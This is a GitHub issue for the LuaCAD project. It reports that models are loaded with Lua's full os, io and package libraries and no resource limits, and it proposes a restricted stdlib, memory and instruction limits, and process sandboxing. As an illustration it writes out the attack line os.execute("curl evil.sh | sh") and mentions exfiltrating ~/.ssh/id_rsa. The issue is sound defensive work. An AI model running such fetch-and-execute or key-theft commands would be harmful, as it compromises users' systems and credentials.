Skip to content

Sandbox untrusted Lua models: restrict stdlib and add resource limits #9

Description

@ad-si

Problem

Loading a LuaCAD model is currently equivalent to running an arbitrary shell script with the invoking user's privileges. There is effectively no sandbox.

execute_lua_with_path in crates/luacad/src/lua_engine.rs creates the interpreter with a plain mlua::Lua::new() and never restricts the standard library. Lua::new() loads StdLib::ALL_SAFE, where "safe" means memory-safe for the Rust host — not security-sandboxed. It excludes only debug; everything else is reachable from an untrusted script:

  • osos.execute, os.remove, os.rename, os.getenv, os.exit, os.tmpname
  • ioio.open, io.popen, arbitrary file read/write/delete
  • package / require — and the model-loading code prepends the script's own directory to package.path, so a downloaded model bundle can ship and pull in its own .lua files

A malicious .lua model can therefore run e.g. os.execute("curl evil.sh | sh") or exfiltrate ~/.ssh/id_rsa at load time.

There are also no resource limits: no memory limit (set_memory_limit) and no instruction-count interrupt (set_hook / set_interrupt). An infinite loop or unbounded allocation hangs or OOMs the whole process — a trivial DoS.

Proposed fix

  1. Build with a restricted stdlib instead of Lua::new():
    let lua = Lua::new_with(
      StdLib::STRING | StdLib::TABLE | StdLib::MATH | StdLib::UTF8,
      LuaOptions::default(),
    )?;
    This drops os, io, and package. Re-expose only what's needed: a require that resolves only within the model's own directory, and the existing Rust-side import() / surface() file functions gated to a whitelisted directory.
  2. Add set_interrupt (or a count hook) to bound runtime and set_memory_limit to bound allocation.
  3. For isolation against a determined attacker, run the interpreter in a separate process with OS-level sandboxing (seccomp / sandbox-exec / container), since even a locked-down Lua VM can have escape bugs.

Step 1 alone moves this from arbitrary code execution to "can only compute geometry", which is the property needed for shareable models.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions